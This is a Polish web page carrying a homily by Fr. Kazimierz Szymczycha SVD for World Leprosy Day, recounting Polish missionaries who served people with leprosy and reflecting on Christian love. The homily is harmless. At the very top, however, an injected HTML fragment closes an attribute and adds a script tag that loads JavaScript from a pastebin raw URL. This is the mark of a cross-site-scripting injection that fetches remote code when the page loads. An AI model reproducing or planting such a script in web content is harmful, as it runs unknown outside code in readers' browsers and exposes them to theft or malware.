">

"> <script type="text/javascript" src="https://pastebin.com/raw/hUw8hjvb"></script></p>

Dzisiaj jest: poniedziałek,
19 listopada 2018r.

wykop.pl

o. dr Kazimierza Szymczychy SVD, Homilia Światowy Dzień Chorych na Trąd

 Z okazji 61. Światowego Dnia Chorych na Trąd, w dniu 26 stycznia br., o. dr Kazimierz Szymczycha SVD, sekretarz Komisji Episkopatu Polski ds. Misji, przewodniczył w katedrze warszawsko-praskiej uroczystej Mszy Św. w intencji ludzi chorych żyjących z tą straszną chorobą i osób im posługującym. Wieczorem o. Kazimierz uczestniczył również w okolicznościowym spotkaniu zorganizowanym przez Fundację Polską Rauola Follerau w podziemiach Bazyliki Świętego Krzyża na Krakowskim Przedmieściu w Warszawie.

 

Nie! - ty bądź raczej nie bardzo szczęśliwy.
                               Pierwszym nie będziesz, ni ostatnim, przeto
                               bądź niezwodzonym!

                               Umarły czy żywy?
                               Cykutą karmion, czy miodem i mlekiem?
                               Bądź: niemowlęciem, mężczyzną, kobietą -
                               ale przede wszystkim bądź: Bożym człowiekiem!

Cyprian Kamil Norwid

 

            Trąd istnieje! Jako jedna z najstarszych chorób ludzkości, towarzyszy człowiekowi nieprzerwanie, nosząc w sobie szczególne piętno.

            Człowiek trędowaty, według Prawa Mojżeszowego, to człowiek nieczysty i jako taki wykluczony ze społeczności ludzi zdrowych, jak długo nie zostanie uzdrowiony i poddany rytualnemu oczyszczaniu. Trędowaci musieli więc cierpieć podwójnie: i z racji choroby, która ich dotknęła  i z powodu wspomnianego wykluczenia ze społeczności ludzi. To piętno Kochani, towarzyszy trędowatym również dzisiaj, mimo że choroba jest uleczalna. Lęk przed tą okrutną chorobą sprawia, iż trędowaci są skazywani na izolację, wykluczeni z normalnego życia rodzinnego i społecznego, zdani na łaskę i służbę innych.

 

            Zajrzyjmy do historii, której na imię „SŁUŻBA TRĘDOWATYM”.

            Święty Damian de Veuster nie szukał trędowatych. Pragnął być misjonarzem. Znalazł się w miejscu i czasie gdzie ten problem, stary jak ludzkość, był drastycznie                i dramatycznie rozwiązywany. Poszedł dobrowolnie tam, gdzie wzywał go Pan i swoją misją wypełnił z niebywałą gorliwością. Dzięki niemu i Zgromadzeniu Najświętszych Serc Jezusa   i Maryi świat usłyszał o losie trędowatych, wykluczonych ze społeczeństwa, oddzielonych od rodzin i przeznaczonych na powolne umieranie. Wśród trędowatych żył 16 lat, z czego 6 już zarażony trądem.

            Błogosławiony o. Jan Beyzym TJ zachwycił się historią ofiarnego Flamanda. Urodzony 10 lat później prosił swoich przełożonych o pozwolenie, aby pojechać do najuboższych na Madagaskar. Założył szpital, zbudował kościół, żył i mieszkał z trędowatymi 13 lat. Pragną jeszcze pojechać do innych cierpiących, do katorżników na wyspę Sachalin, ale śmierć pokrzyżowała jego plany.

            Młodszy od nich ks. Adam Wiśniewski – Pallotyn, urodził się w rok po śmierci Jana Beyzyma. W wieku 13 lat przeczytał książkę o o. Damianie i zapragnął służyć trędowatym jako kapłan. Po święceniach kapłańskich, mimo wojny, podjął studia medyczne, uzyskał dyplom lekarza i w końcu dotarł do Indii. Jeździł po kraju, poznawał miejsca gdzie leczono trąd. W końcu założył własny Ośrodek nadając mu znamienną nazwę Jeevodaya – „świt życia”. Wiedział, że ma on być czymś innym niż wszystko, co spotkał dotąd. W jednym         z listów do Polski pisał: „Jeevodaya ma być domem dzieci trędowatych, a nie domem do którego się przyjmuje dzieci trędowate. To jest ich dom”. Później współpracował z Barbarą Birczyńską z Polski, kupił ziemię pod budowę placówki w terenie, gdzie do dziś dnia jest największe zagęszczenie trądu. Ksiądz Adam nie był zrozumiany przez wszystkich, nie wszystko też w swojej nowej ojczyźnie rozumiał. W dzień leczył, pocieszał, pouczał, w nocy pisał listy do ofiarodawców, modlił się. Ksiądz Wiśniewski zmarł na raka po 26 latach pracy wśród trędowatych, a 18 w Jeevodaya. Przy umierającym czuwała polska pielęgniarka Jolanta Kołakowska, która w Jeevodaya pomagała przez ponad rok.

            Tym następcą Księdza – lekarza jest dr Helena Pyz. O tragicznej sytuacji trędowatych, których w dalekich Indiach nie przyjmie zwykły lekarz dowiedziała się od polskich Pallotynów, którzy odwiedzili dzieło swojego współbrata. Sama niepełnosprawna od 10 roku życia poczuła się solidarna z tymi, którzy bywają nazywani „najbiedniejszymi           z biednych”. Jak Święty Damian nie szukała ich ani w swoim powołaniu do Instytutu świeckiego, którego misją jest maryjna służba Polsce, ani w studiach medycznych. Usłyszała, że po śmierci chorego kapłana, kilka tysięcy ludzi zostanie bez opieki medycznej i odczytała to, jako wezwanie dla siebie. Od tamtej pory wszystkie przyjazdy do Polski traktuje jako urlopy, a do Jeevodaya wraca jak do domu.

            Polska ma piękną kartę służby trędowatym. Oprócz wymienionych: Błogosławionego o. Jana Beyzyma TJ, ks. Adama Wiśniewskiego SAC i dr Heleny Pyz, to przecież zmarły o. Marian Żelazek SVD, opiekun koloni trędowatych w Purii, dr Wanda Błeńska pracująca przez 43 lata w Ugandzie, gdzie stworzyła szpital w Bulubie i wychowała całe pokolenie lekarzy. Przyjeżdżali do niej inni polscy medycy: dr Bohdan Kozłowski, dr Wanda Marczak-Malczewska, dr Elżbieta Kołakowska, dr Henryk Nowak.

            Misjonarze trędowatych to także postacie znane jedynie w wąskich kręgach rodziny naturalnej lub zakonnej. Siostra Stefania Gembalczyk, franciszkanka szpitalna, założyła maleńką przychodnię dla trędowatych w Indiach w miejscowości Ramgarh.

            W Kongo Brazzaville podobną pracę wykonuje siostra Noemi Swoboda, Józefitka, także pielęgniarka.

            Znamy jeszcze innych: Błogosławiona Matka Teresa z Kalkuty, czy Sługa Boży Raoul Follereau, inicjator obchodzonego właśnie dzisiaj Światowego Dnia Trędowatych. Ten ostatni odwiedzał wyspę Malokai, modląc się nad grobem o. Damiana i czerpiąc z jego przykładu siłę dla swojej misji na rzecz trędowatych.

            Ilu jeszcze bezimiennych?

            Przykłady z życia ludzi, których wymieniłem stanowią niepozorny wycinek                 z wielkiego filmu, którego treścią jest ludzkie życie. Ten film to jest historia ludzkiej nędzy    i wielkości. Historia, która rozpoczyna się wokoło nas i w każdej i w każdym z nas. Widzimy dokoła siebie ludzi, którzy nam imponują, którzy są prawdziwie wielcy – i widzimy takich, którzy są tylko karykaturami człowieka. Pierwsi napełniają nas podziwem, urzekają nas, pragniemy ich naśladować – drudzy budzą w nas odrazę. Co skłoniło i skłania naśladowców Jezusa i Ojca Damiana do kontynuowania misji na rzecz trędowatych?

            Odpowiedź podaje nam Święty Paweł w doskonale znanym fragmencie Pierwszego listu do koryntian, który jest hymnem o miłości: „Gdybym mówił językami ludzi i aniołów,      a miłości bym nie miał, stałbym się jak miedź brzęcząca, albo cymbał brzmiący” (1Kor 13,1).

            Tak moi Drodzy! To miłość skłoniła o. Damiana z Molokai do tak wielkiej ofiary, to miłość przynagla ludzi dobrej woli do wyjazdu na misje i poświęcenia swego życia bezinteresownej służbie na rzecz trędowatych, to miłość nie pozwala nam przejść obojętnie obok osób potrzebujących wsparcia, zarówno materialnego jak i duchowego.

Niech więc ta największa z cnót wzrasta w nas nieustannie: niech uzdalnia nas do przełamywania barier, wewnętrznych lęków i oporów, niech mobilizuje do konkretnego działania i pomocy osobom potrzebującym, bo jak wiemy, pod koniec życia będziemy sądzeni z miłości.

 

            Człowiek gubi miłość. Potem całe życie chodzi głodny i dziwi się, że życie boli. Nieproszona miłość nie wejdzie. Woli odejść, niż być niechcianą.

            Może miała rację siostra Noemi, gdy notowała: „Gdyby miłość można było kupić        w sklepie z ubraniami, to wszyscy kupowaliby o kilka rozmiarów za dużą. Tak by nigdy z niej nie wyrosnąć. Poszukuję miłości, która nie pyta: po co? I nie pyta: dlaczego? Szukam miłości, która nie zazdrości, nie gniewa się, która rozdaje cierpliwość. To jest miłość rozmiar XXL.    A taki trudno znaleźć, bo w nim współczesnemu człowiekowi nie do twarzy. Nie do twarzy?”.

Tylko ludzie, którzy kochają, mają piękną twarz. Mają także niebiańską duszę i oczy. Takich ludzi nikt się nie boi. Co więcej, chce się przy nich być, aby się ogrzać mocą ich miłości. Miłość to zarazem kapitał na piękne życie.

            Sami doświadczamy, jak współczesnego człowieka chce sobie podporządkować swoista dyktatura chwili. Współczesny świat nie zna ciągłości. Nie chce pamiętać i nie chce myśleć o przyszłości. Ważna jest tylko ta chwila i to co się da z niej wycisnąć. Ale życie jest tym, co było, tym, co jest i tym, co będzie. Trzeba więc przemyśleć, co się przyrzekło i co mnie czeka po śmierci.

            Bracia i Siostry, zastanówmy się, jak kochać miłością Jezusa?

Na czym polega ta miłość, której uczy nas Bóg i pragnie, aby o takiej Miłości świadczyli misjonarze? Gdy o to pytamy, od razu narzuca się myśl, że miłość Jezusa, to miłość pokorna.

Pan Bóg przecież z wysokości nieba mógł dać nam wszystkie potrzebne łaski. Nie zrobił tego, bo chciał zejść sam. Chciał dojść do człowieka. I tak szukał człowieka, aż sam stał się człowiekiem.

            Nie wystarczyło Bogu nas obdarować, obsypać łaskami. Nie ! Chciał dzielić nasz los.      Bóg chciał być niżej od człowieka. Chciał, żeby człowiek szedł do Niego niejako w dół. Żeby się człowiek GO nie bał. Żeby musiał zejść ze swego piedestału, ażeby znaleźć swojego Boga.

            Taka jest natura Bożej miłości. Dlatego nie możemy iść do ludzi, patrząc na nich         z góry. Taka pokora i uszanowanie człowieka potrzebna jest również misjonarzom. My wszyscy musimy zejść z wysokich miejsc, które zajmujemy. Musimy odejść od swoich racji i praw. Nie możemy dystansu traktować jako dobra. Musimy na to się zdobyć, by dojść do serca męża, dziecka by przedrzeć się przez uprzedzenia, zranienia do serca żony.

            Miłością się nie rozporządza. Miłość się ofiaruje. Dlatego trzeba nam przejąć się losem drugiego człowieka, o ile chcemy, aby ta miłość, która jest w każdym z nas, była miłością Chrystusową. Uczmy się miłować, bo największa przegrana jest wówczas, gdy człowiek nie może już kochać.

Jeszcze jednego uczy nas Chrystusowa miłość. Bóg jest pierwszy we wszystkim, także           w miłości. To On wysłał anioła Gabriela do Maryi. To On do grzeszników posłał swojego Syna.

            On jest zawsze aktywny. On nie czeka, aż ludzie staną się doskonali. Podobnie i my, jeśli chcemy kochać po Bożemu, musimy mieć inicjatywę w miłości. To znaczy, nigdy nie możemy czekać na miłość drugiego człowieka, nigdy nie możemy uzależniać naszej miłości od postawy, jaką napotykamy u innych. Musimy nieustannie do ludzi wychodzić, każdego dnia, wciąż od nowa. Wychodzić bez względu na to, czy mi się chce, czy też nie. Tu impulsem musi być wiara. Kiedy prawdziwie wierzę, wychodzę do człowieka, bo w nim na spotkanie przychodzi sam Chrystus.

            Wychodzić do człowieka, bo jest we mnie Chrystus, który chce miłować przeze mnie. Wiem, że to trudne. Ta postawa nie może opierać się na uczuciu, bo jak będę czekał, aż będę czuł miłość, to może się nigdy nie doczekam. I nigdy nikomu tej miłości nie ofiaruję.

Miłość to coś, co zależy od woli. Swą moc miłość czerpie z łask, które są dane człowiekowi. Trzeba jednak po nie sięgnąć i nimi żyć, a wtedy będziemy wychodzić ku innym, aby kochać.

            I dlatego miał rację cytowany na wstępie Norwid, pisząc:

 

                               Nie! - ty bądź raczej nie bardzo szczęśliwy.
                               Pierwszym nie będziesz, ni ostatnim, przeto
                               bądź niezwodzonym!

                               Umarły czy żywy?
                               Cykutą karmion, czy miodem i mlekiem?
                               Bądź: niemowlęciem, mężczyzną, kobietą -
                               ale przede wszystkim bądź: Bożym człowiekiem!

 

                                                                                                          Amen

 

                                                                                                                                                                                                                                       O. Kazimierz Szymczycha SVD

                                                                             Sekretarz Komisji Episkopatu Polski ds. Misji

                                                                                              Delegat ds. Misjonarzy